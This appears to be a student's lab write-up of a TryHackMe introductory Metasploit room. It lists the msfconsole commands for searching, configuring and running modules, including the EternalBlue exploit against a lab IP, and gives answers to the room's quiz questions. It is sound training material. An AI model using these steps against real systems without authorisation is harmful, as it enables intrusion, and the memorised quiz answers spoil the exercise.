

## METASPLOIT-INTRODUCTION

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### AIM:

To understand the basics of the Metasploit Framework and learn how to use it for identifying, exploiting, and gaining access to vulnerable systems.

### PROCEDURE:

1. Start the TryHackMe machine and connect to the VPN.
2. Launch Metasploit Framework using the msfconsole command in the terminal.
3. Use search to find an exploit module for the target service (e.g., search vsftpd).
4. Select an appropriate module using use [module\_path].
5. View and configure required parameters using show options and set them using set RHOSTS [target IP], set LHOST [your IP], etc.
6. Execute the exploit using the run or exploit command.
7. Upon successful exploitation, interact with the session using sessions and explore post-exploitation options.

### TASK-1 INTRODUCTION TO METASPLOIT

Metasploit is the most widely used exploitation framework for penetration testing and vulnerability research. It supports all phases of a pentest — from information gathering to post-exploitation.

Versions:

- Metasploit Pro: Commercial version with a graphical interface.
- Metasploit Framework: Free, open-source, command-line version (focus of this room).

Main Components:

- msfconsole: The primary command-line interface.

- Modules: Includes exploits, payloads, scanners, etc.
- Tools: Standalone utilities like msfvenom, pattern\_create, and pattern\_offset.

Learning Objectives:

- Learn how to search, configure, and run exploits.
- Gain a solid foundation for using Metasploit effectively.
- Comfortably navigate and use the Metasploit command-line environment.

## **TASK-2 MAJOR COMPONENTS OF METASPLOIT**

### **1. Start Console**

bash

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msfconsole

### **2. Search Module**

bash

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search <keyword>

### **3. Use Module**

bash

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use <module\_path>

### **4. Show Options**

bash

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show options

### **5. Set Values**

bash

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set RHOSTS <target\_ip>

set RPORT <port> # if needed

set PAYLOAD <payload> # if needed

## 6. Run Exploit

bash

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run

## 7. Exit Console

bash

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Exit

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Answer the questions below

What is the name of the code taking advantage of a flaw on the target system?

Exploit

✓ Correct Answer

What is the name of the code that runs on the target system to achieve the attacker's goal?

Payload

✓ Correct Answer

What are self-contained payloads called?

Singles

✓ Correct Answer

Is "windows/x64/pingback\_reverse\_tcp" among singles or staged payload?

Singles

✓ Correct Answer

## TASK-3 MSFCONSOLE

### 1. Search for a Module (e.g., Apache)

Command:

bash

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search apache

### 2. Find Module Info (e.g., ssh\_login)

Command:

bash

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info auxiliary/scanner/ssh/ssh\_login

Look for:

- Name
- Description
- Author → This answers “Who provided the module?”

Answer the questions below

How would you search for a module related to Apache?

search apache

✓ Correct Answer

Who provided the auxiliary/scanner/ssh/ssh\_login module?

todb

✓ Correct Answer

🔍 Hint

## TASK-4 WORKING WITH MODULES

### 1. Select Module

Use the use command to choose the module:

bash

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use exploit/windows/smb/ms17\_010\_eternalblue

### 2. Set Parameters

Set parameters with set:

bash

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set RHOSTS 10.10.165.39

### 3. Check Options

View available parameters with show options:

bash

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show options

#### 4. Global Parameters

Use setg to apply settings globally across modules:

bash

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setg RHOSTS 10.10.165.39

Answer the questions below

How would you set the LPORT value to 6666?

set LPORT 6666

✓ Correct Answer

How would you set the global value for RHOSTS to 10.10.19.23 ?

setg RHOSTS 10.10.19.23

✓ Correct Answer

What command would you use to clear a set payload?

unset PAYLOAD

✓ Correct Answer

What command do you use to proceed with the exploitation phase?

exploit

✓ Correct Answer

## TASK-5 SUMMARY

### 1. Finding the Exploit:

Identify a vulnerable service or application on the target system. This could be discovered through scanning or research.

### 2. Customizing the Exploit:

Once the vulnerability is found, select the corresponding Metasploit module (e.g., ms17\_010\_eternalblue) and configure its parameters (e.g., RHOSTS, RPORT, LHOST, etc.) using the set command.

## RESULT:

Successfully exploited a vulnerable service using Metasploit and gained a Meterpreter session on the target system, demonstrating the power of automated exploitation tools for penetration testing.